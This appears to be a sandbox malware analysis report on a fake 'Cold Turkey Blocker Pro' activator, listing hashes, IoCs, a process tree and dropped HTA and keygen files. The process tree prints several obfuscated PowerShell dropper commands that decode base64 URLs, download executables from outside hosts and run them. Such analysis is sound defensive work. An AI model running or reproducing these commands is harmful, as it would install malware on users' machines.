95e20f1bd143d295e3aa4279d8e3d1ed1e4a6dd83e148c6abdca49890190d38c

Analysis

max time kernel
44s
max time network
55s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
30/04/2024, 23:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Cold Turkey Blocker Pro 3.10/CTBActivator/Activator.exe
Size 7.8MB
Sample240430-237j2aaa3y
SHA256 b9ef692ccc85d8d010ab568f80622ded90813885f459cfe5b47175f5c854a236
MD5 49e0ff5b272c2e4edc2b45a71d1dc3a0
SHA1 89faa62ed4fdca507024e3b4368cf294545aee49
SHA512 d29c2dc8fde21ab8f480342b1542f0199d0cb94d9bc31a7e7450e4874f046f62b1dd6bf0913b87429af1ac6e476c2b55fb79af62af144e779b57f51442a30901
SSDEEP 98304:u3q35gz3xycD3d6wkq6PnYsnmGug3KEA4pdyEsQ:Fgz3xP6wkjPnmG9jb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://bit.do/e7RiX
exe.dropper
http://bit.do/e7RiX

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2944	keygen.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4600	2944	WerFault.exe	86

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4796	timeout.exe
2052	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-891789021-684472942-1795878712-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3644	powershell.exe
3356	powershell.exe
2140	powershell.exe
2140	powershell.exe
3644	powershell.exe
3644	powershell.exe
2692	powershell.exe
2692	powershell.exe
3356	powershell.exe
3356	powershell.exe
2140	powershell.exe
2692	powershell.exe
4436	powershell.exe
4436	powershell.exe
4436	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	keygen.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	2524	powershell.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 864	4804	Activator.exe	80
PID 4804 wrote to memory of 864	4804	Activator.exe	80
PID 4804 wrote to memory of 864	4804	Activator.exe	80
PID 864 wrote to memory of 964	864	cmd.exe	84
PID 864 wrote to memory of 964	864	cmd.exe	84
PID 864 wrote to memory of 964	864	cmd.exe	84
PID 864 wrote to memory of 3860	864	cmd.exe	85
PID 864 wrote to memory of 3860	864	cmd.exe	85
PID 864 wrote to memory of 3860	864	cmd.exe	85
PID 864 wrote to memory of 2944	864	cmd.exe	86
PID 864 wrote to memory of 2944	864	cmd.exe	86
PID 864 wrote to memory of 2944	864	cmd.exe	86
PID 864 wrote to memory of 2052	864	cmd.exe	87
PID 864 wrote to memory of 2052	864	cmd.exe	87
PID 864 wrote to memory of 2052	864	cmd.exe	87
PID 3860 wrote to memory of 3356	3860	mshta.exe	88
PID 3860 wrote to memory of 3356	3860	mshta.exe	88
PID 3860 wrote to memory of 3356	3860	mshta.exe	88
PID 964 wrote to memory of 3644	964	mshta.exe	90
PID 964 wrote to memory of 3644	964	mshta.exe	90
PID 964 wrote to memory of 3644	964	mshta.exe	90
PID 864 wrote to memory of 3140	864	cmd.exe	92
PID 864 wrote to memory of 3140	864	cmd.exe	92
PID 864 wrote to memory of 3140	864	cmd.exe	92
PID 864 wrote to memory of 1704	864	cmd.exe	93
PID 864 wrote to memory of 1704	864	cmd.exe	93
PID 864 wrote to memory of 1704	864	cmd.exe	93
PID 3140 wrote to memory of 2140	3140	mshta.exe	94
PID 3140 wrote to memory of 2140	3140	mshta.exe	94
PID 3140 wrote to memory of 2140	3140	mshta.exe	94
PID 1704 wrote to memory of 2692	1704	mshta.exe	96
PID 1704 wrote to memory of 2692	1704	mshta.exe	96
PID 1704 wrote to memory of 2692	1704	mshta.exe	96
PID 864 wrote to memory of 4796	864	cmd.exe	98
PID 864 wrote to memory of 4796	864	cmd.exe	98
PID 864 wrote to memory of 4796	864	cmd.exe	98
PID 864 wrote to memory of 1360	864	cmd.exe	102
PID 864 wrote to memory of 1360	864	cmd.exe	102
PID 864 wrote to memory of 1360	864	cmd.exe	102
PID 1360 wrote to memory of 4436	1360	mshta.exe	103
PID 1360 wrote to memory of 4436	1360	mshta.exe	103
PID 1360 wrote to memory of 4436	1360	mshta.exe	103
PID 864 wrote to memory of 2416	864	cmd.exe	105
PID 864 wrote to memory of 2416	864	cmd.exe	105
PID 864 wrote to memory of 2416	864	cmd.exe	105
PID 2416 wrote to memory of 2524	2416	mshta.exe	106
PID 2416 wrote to memory of 2524	2416	mshta.exe	106
PID 2416 wrote to memory of 2524	2416	mshta.exe	106

C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\CTBActivator\Activator.exe
"C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\CTBActivator\Activator.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4B03.tmp\start2.bat" "C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\CTBActivator\Activator.exe""
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B03.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:964
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL imhur $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;imhur pkzwjshtlmgd $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pkzwjshtlmgd;imhur brvxmhkwft $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JpWA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);brvxmhkwft $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3644
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B03.tmp\m1a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfgtiyleoxj $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfgtiyleoxj rxjawksc $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rxjawksc;cfgtiyleoxj lkhxvdgpjitz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL25pY29zbGFnLnJ1L2FzZGZnLmV4ZQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);lkhxvdgpjitz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3356
- - C:\Users\Admin\AppData\Local\Temp\4B03.tmp\keygen.exe
    keygen.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 5424
      4⤵
      Program crash
      PID:4600
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:2052
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3140
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfpdmyg $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfpdmyg pnuqyjbf $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pnuqyjbf;cfpdmyg josedgvxy $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqaQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);josedgvxy $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2140
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b1a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1704
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL pgnfirdewovxsl $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;pgnfirdewovxsl ezosprk $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|ezosprk;pgnfirdewovxsl ctslxmfoz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2tmZGhzYS5ydS9hc2RmZy5leGU=';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);ctslxmfoz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2692
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:4796
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vqaznm $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vqaznm amvlntpxjbs $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|amvlntpxjbs;vqaznm gbxlmur $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqeA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbxlmur $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4436
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b2a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL xutrghv $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;xutrghv hjlgdycxt $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hjlgdycxt;xutrghv gbljpredwuxzv $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JyYXRpb3AucnUvYXNkZmcuZXhl';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbljpredwuxzv $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2944 -ip 2944
1⤵
PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 fae0c4de50641b9e951bc3a7d05b8f65ac7a45e25c4070d7b6c0a0de167b757a
MD5 9a6147bbf617f18f47d61189e11ebeda
SHA1 7776bd6987251ce78b7f45747e08d5c675b17ef7
SHA512 2f208f1063f1a589e502c1818d3d4a02ebbb0898b5a72427d48c6eaad9711b0495196c1e2472fc2f5303bb310d30013d2e189501a70b3c98bc9f5d9dec5ac7ca
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 60KB
SHA256 f4750e5af8c84626318382887c9c17e6555eff006af7d7e88cadd562ab2ee8ed
MD5 0a9da256ffcfe42119c7a351e5eaaa9c
SHA1 c992b8e18cfc24faee739511beb5094189806177
SHA512 451f4d470fe938a7c71d340f0711a9d1cb98f542138bd95584244471fa5f31beba8274699be1e497742ce91182dc9e308ca2d9ce3d004174a8228cca4c118672
SSDEEP 1536:ZflJddh4iUxGYk+vH/fKQNUpeE711kDa5z+jH03IYo39i3j39MVvjBMrxjtAHkQM:ZflJddqiUGYk+vH/fKQNUpeE711kDa5L
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 4ef93bbaa0274cc235ae94c24068c4dda72a37574a8b19fb44339037b751a84f
MD5 4ad913698d3d9b1b15b98d34004e56ea
SHA1 5601467b9b37cf23bb69228fca663ebf20ade5b1
SHA512 1438357dd5b0fd8a253db88637a24ecf5ccb72e3543be851ca72a396b5edff57286401d8fe9aa96da30c821fa3c6a118b6e8e9c4a19d86412692443d2d7583ba
SSDEEP 384:dM3H4y1S1UitsuLhFRHEMEeHnnNfjs2gksMIeFm2hwwYfkZtR7pSv7RQ3:iX1SCitsGRPE+Nfj7gksMI2lhwpkZmA
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 a262a4c4b1b08c1821b79bf56a94a6403f1d6e4e556656efd355483bb0329720
MD5 85571b503d4302688c5b85728cfbdba1
SHA1 b88770a8a369083949d221466cde647cfb4c6e68
SHA512 88004fbb7b851be76641ca4fb4b6c954aae2f7c31013c3eed0be0bf43e63ef85d5e668e10ee1fe2567d582c6579b7c74f757f17f1f763259df9da781e2cc1682
SSDEEP 384:BM3H4NB1S1U7dX7gFz1oudHnnNfjs2gksMQeFmShwVfUZtRdev7R43:mm1SCZXszXRNfj7gksMQ2ZhwFUZ6Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 c905cb80843a78267a8f2e03ec7573e84b62933a52ef98524231f7a0a1d985da
MD5 695604174f5883d71689b9026837f7c2
SHA1 c9847af60b0a34a6af36b92188d2e7e0d6d24295
SHA512 0cabd6a3173e096636875b966ab9f696e3e3d0aaa846324226f2baf481761d39f11d779add65881caa2b0f77d19f8a6647f97d5761eba5710115d6a626d863a5
SSDEEP 384:GM3H4NB1S1Uj1avdFRkMPHnnNXjs2gksMgeFmehwVfkZtRtSv7RM3:/m1SCkDRkM/NXj7gksMg2FhwFkZu0
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 2c2addde0e2cd62a7e2d66276ad288a63a27619ed2bb7d1527f5b86ec97f93b5
MD5 0dc4d8a5322991cf5753077c017b8fcd
SHA1 c5ceeb48fbd1693c0deee4735a7f964aee638fdd
SHA512 afb752b86c937bb6bcbf1662af8315d65788045219c0c50ba1b477687c3353b27ce78a054ea596727ce04ed5cc82e76a4727d1cae9c11308f8ebaddfa34cafab
SSDEEP 384:4QH4NB1S1UHV40S+0AFRHEMEB1HnnNrjs2gkszUeFm2hwjFfIZtRdev7RQ3:Q1SCGbX4RPEPNrj7gkszU21hwpIZ6A
MD5 SHA1 SHA512 SSDEEP

Submit Download

b1.hta

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b1.hta
Size 11KB
SHA256 9439c1e812b86678969732dd29d9a5c0d271db87005df6b36b79aab7556610e2
MD5 d4aea3933a604f7dc3f9608929ef07b6
SHA1 95de25c9656d1503b30726760dc6764fa298461e
SHA512 61a1ba9e1d624a00585af95923641145c0fc1a56fac3de3094f8c1a3b7dee37b14088086cce2c78d154e23848d698a68145b44b3086221952ab65bddfc54c038
SSDEEP 192:C2gFCm1AMjHC2gFCm1AMj2uk29OmR27I216QW2gFCw1AMj72gFCm1AMja:C2gFCLcHC2gFCLcXOmR270Z2gFCNc72R
MD5 SHA1 SHA512 SSDEEP

Submit Download

b1a.hta

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b1a.hta
Size 11KB
SHA256 152d6a623e294608e0fcfb331f0fd4e5eabd8d4b70673004d4ac33156add121c
MD5 b8be7ddadc6d5361e90c28b4739274ac
SHA1 a225cf279c6cb7710141aeb3e0a29ad4c19e71e4
SHA512 b4e0b038b7eb43838d7d7d2aad7acc9ee444ac913aa345103efb097c0b41fb70a6aff64e89e75925c4caa2f55d039b1c8121dcb0f540336f7bc6a93746bf9230
SSDEEP 192:C2gFCm1AMjHC2gFCm1AMj2uk29Om72zkQ21PQW2gFCw1AMj72gFCm1AMja:C2gFCLcHC2gFCLcXOm72zkQiZ2gFCNcU
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2.hta

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b2.hta
Size 11KB
SHA256 a4965af6feb2c0f3d8c7f81808b77b10bfbb396bcc63fc430f8606b8cf14f24f
MD5 611851be5c9d72fba0536042853b6b10
SHA1 b0ec6e71573902ca1e3fd17bc6fac96d5f232700
SHA512 db597666d50850628e17b2c91102b0d45ed613dfa62f3472e6c0e3fec51758347f7327958177a8ba85adc32ca7be7e7c92d7036999270cc84bba1cfcb93b7b33
SSDEEP 192:C2gFCm1AMjHC2gFCm1AMj2uk29OmN2E21VQW2gFCw1AMj72gFCm1AMja:C2gFCLcHC2gFCLcXOmN2EEZ2gFCNc72R
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2a.hta

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\b2a.hta
Size 11KB
SHA256 a9de29fa03e6b7a0d307e495a30bcc181064e67ba4c62b00eecbddcf11034002
MD5 1a98a8caf12608427d1b239c053a41fe
SHA1 870e04c385b65d5ba02637f99d12129b76ebae3b
SHA512 fb967e221882bb9dafec3d651a8031e4f53aed3231b76559a4c50292840fc8bfc496e75baf0f810d93694dbb94ef2cbd85f11cd774d075ab36846d85b4e70c0a
SSDEEP 192:C2gFCm1AMjHC2gFCm1AMj2uk29Om92Kp1fQW2gFCw1AMj72gFCm1AMja:C2gFCLcHC2gFCLcXOm92KvZ2gFCNc72R
MD5 SHA1 SHA512 SSDEEP

Submit Download

keygen.exe

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\keygen.exe
Size 7.0MB
SHA256 d731e223960788a83e35f9e9c3d714ef29a4d447c4fd079cd4ac87c32b269c89
MD5 9fcf4896acbfbeda707cf6e13bcb4591
SHA1 a9a7fd9bd4dba4c035ea083a220f5abb5e173eeb
SHA512 90d0bdd3bcaaeb06e07d9a3682f57aa33c6e71a81742512e461a239ddc20cea592b66222779c7587520e5cd95306d370b6984eb0abb6d7650f02ad3529b56669
SSDEEP 98304:s35gz3xycD3d6wkq6PnYsnmGug3KEA4pdyEs:wgz3xP6wkjPnmG9j
MD5 SHA1 SHA512 SSDEEP

Submit Download

m1.hta

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\m1.hta
Size 11KB
SHA256 48382eae4aa1e069d09c4a5d25d22e9027b16b65a48911bfc0c8f1f23b1de4a2
MD5 b89401d49ae639b07b31c8fb3a2b6660
SHA1 50e59ce06aa2bf94a11f64afef20961e76c9d426
SHA512 e03a5521a2ecba8d4063d5406d253139540958d510147f962180ad8333175837a8453bb3b69316bb7a8abe66670b42ef9567260f549cbbc2ebb293d2050188b8
SSDEEP 192:C2gFCm1AMjHC2gFCm1AMj2uk29Omw20q17QW2gFCw1AMj72gFCm1AMja:C2gFCLcHC2gFCLcXOmw20kZ2gFCNc72R
MD5 SHA1 SHA512 SSDEEP

Submit Download

m1a.hta

Path C:\Users\Admin\AppData\Local\Temp\4B03.tmp\m1a.hta
Size 11KB
SHA256 83c6b29a8be68fa9c0cc88fec453da1c23a456bf330b2cfdff1968da576ec727
MD5 fd6a9f7c9cf2d58ef8935fa062eab5bf
SHA1 a3a03ce457d6820e4344abcbf90330c29aa8ab85
